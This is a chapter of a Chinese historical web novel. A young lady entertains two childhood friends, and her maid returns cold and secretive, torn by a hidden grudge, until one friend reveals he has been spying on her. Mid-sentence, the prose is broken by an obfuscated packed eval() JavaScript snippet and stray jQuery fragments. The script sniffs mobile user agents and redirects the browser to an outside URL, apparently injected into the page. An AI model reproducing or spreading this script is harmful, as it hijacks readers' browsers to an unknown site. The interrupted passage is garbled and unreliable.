陆府内院,花厅。
桌案上摆着几个茶盏。陆沁皓腕如玉,轻提着一把银壶,将沸水注入盏中。热水一入,上好的雨前龙井迅速舒展开来,漾出浅碧色。
“阿姐,不用忙活了,我们自己来就好。”
逄楚之连忙站起来,想要帮忙。他今日穿了一身月白色的锦袍,更衬得面如美玉,一副不谙世事的少年模样。
陆沁闻言,佯装嗔怪地看了他一眼:
“你都多久没登门了?我再不招呼周到些,怕是下次更请不动你了。”
她说着,目光转向旁边那个沉默的身影,“尤其是你,阿谌,都好久未见了。”
“…………”
“我们从小一起长大,你回京都不告诉我一声,这么久了才肯过来。你和楚之真是………”
王谌身子微微一僵。
他抬起头,露出一张冷硬的脸。他飞快看了一眼陆沁,手指不自在地蜷缩了一下,才低声道:
“………阿姐,是我考虑不周,没及时告知。”
看着他这副局促的样子,陆沁忍不住笑了:“好了,不说你了。你还是老样子,一点没变,不管我说什么,都老老实实地应着。”
“我………”
“可不是啊。”逄楚之也笑了:“小时候我没少因为他老实戏弄他。偏偏我每次给他下套,他都上当,屡次三番中我的计,他还不长记性。到后面我都懒得戏弄他了,没意思。”
陆沁这才坐下来,细细打量着他们。她托着腮,慢慢开始回想。
“你这么一说了,还挺怀念小时候了……我记得有一年上元节,我那只兔子灯飞到了假山顶上,你们两个非要逞英雄去帮我拿,结果楚之踩滑了石头,一把拽住你,两个人一块儿滚进了旁边的荷花池里,弄得满身都是泥。楚之还好,爬上来就哇哇大哭,你呢,就那么僵着脸站在水里,一句话不说,可把我们给笑坏了。”
“阿姐……这事你还记着呢?”逄楚之幽怨道。
“当然啊,怎么会忘呢。”
听着他们的笑谈,王谌眼中的冷意慢慢融化看来,化作一片柔软。他的脸上,慢慢浮现出一个极淡的笑容。
逄楚之看了看陆沁,又看了看王谌,眼底飞快地掠过一丝了然。
“还有那次,楚之你………”
“哎哎哎———”逄楚之换上了一副委屈的表情:“阿姐,你就别取笑我们了,那都是陈年旧事了。你要是再这样,我可就把你的糗事说给我表哥听了啊!”
“你………”陆沁的脸颊“唰”地一下就红了,“你别去跟他胡说………”
“那你不要再讲我的糗事了。”
“好………不说就是了。”
“我一搬出表哥,阿姐就立马服软了。你可真是在乎在我表哥心目中的形象啊。”逄楚之故意拉长了声音,促狭地眨了眨眼。
陆沁更加羞涩:“你别胡说………”
逄楚之懒散地往后一仰,抱着胳膊道:“你放心吧,你在我表哥心中,那就是九天玄女下凡。就算我把你说成夜叉,他也不信,反而还会教训我一顿。”
他说这话的时候,语气是冲着陆沁,眼神却有意无意地瞟向王谌。
果然,王谌脸上刚刚浮现的那一丝笑容,忽然就消失了。他的表情又重新变得僵硬而冷漠。
逄楚之收回眼神,嘴角微扬。
陆沁却丝毫未觉这暗流涌动,只是羞得不知如何是好。逄楚之见状,也不再打趣,转而同王谌聊起了京中趣闻。
忽然,他像是想起了什么似的,抬头四下看了看,好奇问道:“咦?刚才进来只看到谷翠姐姐,没见到凌青姐姐,她去哪儿了?”
提到凌青,陆沁脸上笑容自然了点:“哦,凌青她前些日子家里有些事,告了半个月的假。算算日子,估计就是这两天回来吧。”
话音刚落,外面就传来谷翠兴奋的声音:“小姐!小姐!凌青回来了!”
“………真的?!”
陆沁不可置信地站了起来,眼中渐渐浮现出雀跃的光亮,“说曹操,曹操就到了?”
话还没说完,她已提起裙摆,快步迎向门口
王谌看着她欢喜的背影,低声问身旁的逄楚之:“这个凌青………是谁?你认识?”
逄楚之指尖轻轻摩挲着茶盏,看似漫不经心,眼神中却早已燃起一簇兴奋的火苗。
他压低声音,一字一句道:“一个丫鬟。但是…………很特别。”
“阿姐身边伺候的,不是谷翠和渚碧么?”
“哦,那都是陈年往月的事了。总之,现在是凌青和谷翠。”
王谌古怪地看了他一眼,若有所思道:“所以……外界传闻你近来频频往陆府跑,是心有所属。其实说的并非是陆家四小姐,而是……”
他顿了顿,抬眼看向逄楚之,缓缓吐出两个字:
“……她?”
“…………”
逄楚之脸上的笑容瞬间僵住。
他缓缓转过头,面无表情地看向王谌,一时间不知道该说什么。
“………你怎么会有这种想法?”沉默了半天,他才说出这么一句话。
王谌却很认真:“你方才提及她时的反应,很奇怪。是我从未见过的样子。如此想来,只能是她。”
“…………”
逄楚之更无奈了。他简直不知道自己该气还是笑,总之他觉得这事听起来就挺荒谬。
他和凌青?
怎么可能!
他举起手对着王谌,一脸正色地发誓:“我逄楚之对天发誓,就罚我把你家祖父那部旷世奇作《王氏家学集注》,从头到尾,工工整整地抄上一遍!”
王谌闻言,脸似乎微微抽动了一下。
逄楚之见他这反应,更是夸张道:“你现在知道我这誓言有多毒了吗?你祖父那部书,全套一百二十卷,引经据典,字字艰涩,摞起来比我还高,搬出来都能当场砸死一百个人。让我抄完一遍,比直接杀了我还难受,我这辈子估计都不用再碰笔了。”
“………真不是她?”
“等会儿你见了她就知道了。我们俩,绝无可能。”
他这副信誓旦旦的样子,反倒勾起了王谌真正的好奇。他不由得将目光投向了门口。
很快,一个素衣身影随着陆沁走了进来。
她一进门,陆沁就亲热地牵住了她的手。
“你可算回来了!走了这么久,我都想你了。来,正好,楚之和我们的发小阿谌也来了,我给你介绍一下。”
王谌不动声色地打量着这个被称作凌青的少女。
她并不是什么倾国倾城的绝世容貌,脸上甚至未施一点脂粉,但就是极其的清丽脱俗。只是,她太冷了。那是一种从骨子里透出来的疏离感,就好像所有人都跟她有什么深仇大恨似的。更奇怪的是,她的眉宇之间,竟还藏着几分肃杀之意。
王谌心想,的确很特别。不像丫鬟,不像小姐,也不像江湖女子。他看到她的感觉,就像翻开一本不见于世的古籍,却发现里面夹着一把匕首一样。锋芒内敛,却寒气逼人。
凌青眼神平静地扫过两人,对着逄楚之和和王谌微微屈膝,行了一礼。
“奴婢见过两位公子。”
王谌点了点头。
“家里情况如何?都处理好了吗?”陆沁赶忙关切地问。
“回小姐,都处理好了。”
“那就好,路上辛苦了吧?瞧你都瘦了些。”
“不辛苦。”
“那………有没有遇到过什么麻烦?”
“没有。”
“哦……那就行,那你家里亲戚都还好吧?这次在家里待得好不好啊?”
“都好。”
无论陆沁说什么,问什么,她都一板一眼地回答,绝不多说一个字。那语气,并非刻意的冷漠,却像在两人之间砌了一堵无形的冰墙。
让她们两个……谁也碰不到谁。
陆沁终于察觉到了不对劲。她脸上的笑容渐渐淡去,多了一分困惑。当着外人的面,她不好多问,便只能试探着去拉凌青的手。
然而,她的指尖刚一触碰到凌青的手背,凌青便如同被烙铁烫到一般,猛地一哆嗦,将手缩了回去!
………
逄楚之与王谌的目光,也因这突兀的举动而转头看向她们。
陆沁伸出去的手就那么悬在半空中,尴尬至极。她眼中的光芒迅速黯淡,满是不敢置信。
她彻底怔住了。
她就那样看着凌青,茫然地眨了眨眼睛,似有泪光闪烁。
“…………”
凌青似乎也意识到自己反应过激。
她退后半步,仓促地福了福身。
“小姐和二位公子慢聊,奴婢去帮谷翠准备茶点。”
说完,不等陆沁回答,她便匆匆转身,几乎是逃也似的离开了花厅。
陆沁呆呆地站在那里,久久不能回神。
良久的沉默后,逄楚之轻咳一声:“呃……阿姐,要不,我们今日就先回去了?你许久没见到凌青,想必有很多体己话想和她说。”
陆沁却好像没听到一样,神色依旧落寞。
“她……或许也不想和我讲话。我……我是不是什么地方让她不开心了?”
她抬起一双盈满水汽的眼睛,无助地望向逄楚之:“楚之,你说,是不是凌青在外面遇到了什么困难?她是不是受了谁的欺负?所以……所以她才………”
“阿姐,你别胡思乱想。”逄楚之立刻上前,温声安抚,“许是舟车劳顿,身子不适罢了。”
“真的吗?”
“要不……我去看看她?都是熟人,我去和她聊聊,兴许能问出些什么来。”
说着,逄楚之转头,给了王谌一个眼神:“伯行,你在这儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17041880|177626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
照看阿姐。”
王谌似乎有些局促,但看了看伤心欲绝的陆沁,最终还是沉沉地点了点头。
“好。”
————
凌青麻木地往外走着。
她没有去找谷翠,也没有去取什么茶点。她只是漫无目的地走着,一直走到一处偏僻的地方。
自从她从翰林院回来后,她就一直是这副模样。
不,或许更早。从她在文轩阁听到那个消息开始,她的心境就已经塌了一半。
姐姐的下落不明,只要一想就痛如刀割,日夜凌迟着她的心;父亲惨死的模样,更是她闭上眼就无法摆脱的噩梦。
这些天来,她日日都如行尸走肉。
而那张被她吞入腹中的图纸,更提醒着她身边还有个藏在暗处的敌人。这就像一条无形的绞索,牢牢套住了她的脖颈,让她每走一步,都感到窒息。
太艰难了………
她要做的一切,都太难了。
可她必须走下去。
正因如此,她才更无法面对陆沁。
她以为自己可以压抑住所有仇恨,什么也不想,扮演好陆沁身边最得力的丫鬟。
可当她看到陆沁那张温柔的脸时,陆鼎风那张伪善面孔便会不自觉地浮现在她眼前。
陆沁是无辜的,可她也是陆鼎风的女儿。她生来就享受着陆家的锦衣玉食,享受着父亲的权势带来的安稳荣光。而这一切,都建立在无数像她姐姐一样无辜女子的骸骨之上。
恨她吗?她做不到。陆沁对她的好,那些真心,那些相处的日夜,都是真的。更何况,陆沁的确不知道她父亲的所作所为。
不恨她吗?她更做不到。每当陆沁对她微笑时,她也会想起姐姐的笑容,想起父亲的面庞。杀人凶手的女儿就站在自己面前,一脸无辜,这份巨大的反差几乎要将她逼疯。
恨与不忍,理智与感情,在她脑中激烈地冲撞。凌青感觉自己快要爆炸了,头疼欲裂,仿佛身体的魂魄都要被这巨大的矛盾撕扯出窍。
她要疯了。
就在这时————
“姐姐。”
一个低沉温柔的声音,瞬间打破了她脑海中的混沌。
“………!”
凌青猛然清醒。
她僵硬地转过头,看见逄楚之正倚在不远处的月洞门下,含笑望着她。
………是他。
看见逄楚之,之前那些更不好的回忆涌上心头。
凌青连陆沁都不想看见,更何况是他。她面无表情地转过身,抬步就要走。
“不想听我说话?”逄楚之的声音在她身后响起,不疾不徐。他快步跟了上来,语气暧昧:“这么不给面子啊,那………
“关于陆鼎风的……你也不想听了?”
“!”
凌青的脚步,猛然钉在了原地。
她缓缓转过身,冰冷的目光直视着他。
“你要说什么?”
逄楚之这才踱到她身边,明艳的脸上漾开一个俏皮的笑,那双桃花眼弯弯的,仿佛盛满了光。他身上那股浑然天成的矜贵与纯善,让他看起来更是无害。
“怎么,肯听我说了?”
凌青只是冷冷地看着他。她知道,这人越是笑得天真无邪,内里面的阴毒心思就越多。
也不知道他今日又唱的哪出戏。
“你不要这么看我,”逄楚之夸张地抚了抚心口,“你的眼神太吓人了,我会害怕的。我一害怕的话………”
他向她眨了眨眼:
“……可能就什么都不想说了哦。”
凌青的眼神没有一丝波动:“怎么,你的疯病治好了?跟唱戏的似的,一会儿一个样,也不知道今日唱的是哪出。”
“或许吧。”
逄楚之丝毫不恼,与那日歇斯底里的样子判若两人。他笑着,朝她走近一步,姿态亲昵。
“可能是许久没看见你,这次再见到,心情好了,自然就不发疯了。”
凌青不想跟他兜圈子。她心里乱成一团麻,看他也更加不顺眼。她强压着厌恶,耐着性子道:“有话快说。”
逄楚之却不说话了。他只是带着那抹玩味的笑,愈发靠近她,直到两人之间的距离近得暧昧。他微微倾身,温热的气息拂过她的耳廓:
“其实……也不用我说太多了。你不是已经自己打探到了吗?常茗小吏……你穿男装的样子,也很好看。”
说着,他伸出手,轻轻帮她理了理衣襟上的褶皱。
“…………”
那一瞬间,凌青如坠冰窖。
她已经顾不得他动作里的轻佻,不可置信地抬起头,死死地盯着他。
“……你监视我?”
“别那么惊讶啊。”
逄楚之收回手,摊了摊,笑得一脸无辜。
“我监视你,不是再正常不过的事情吗?”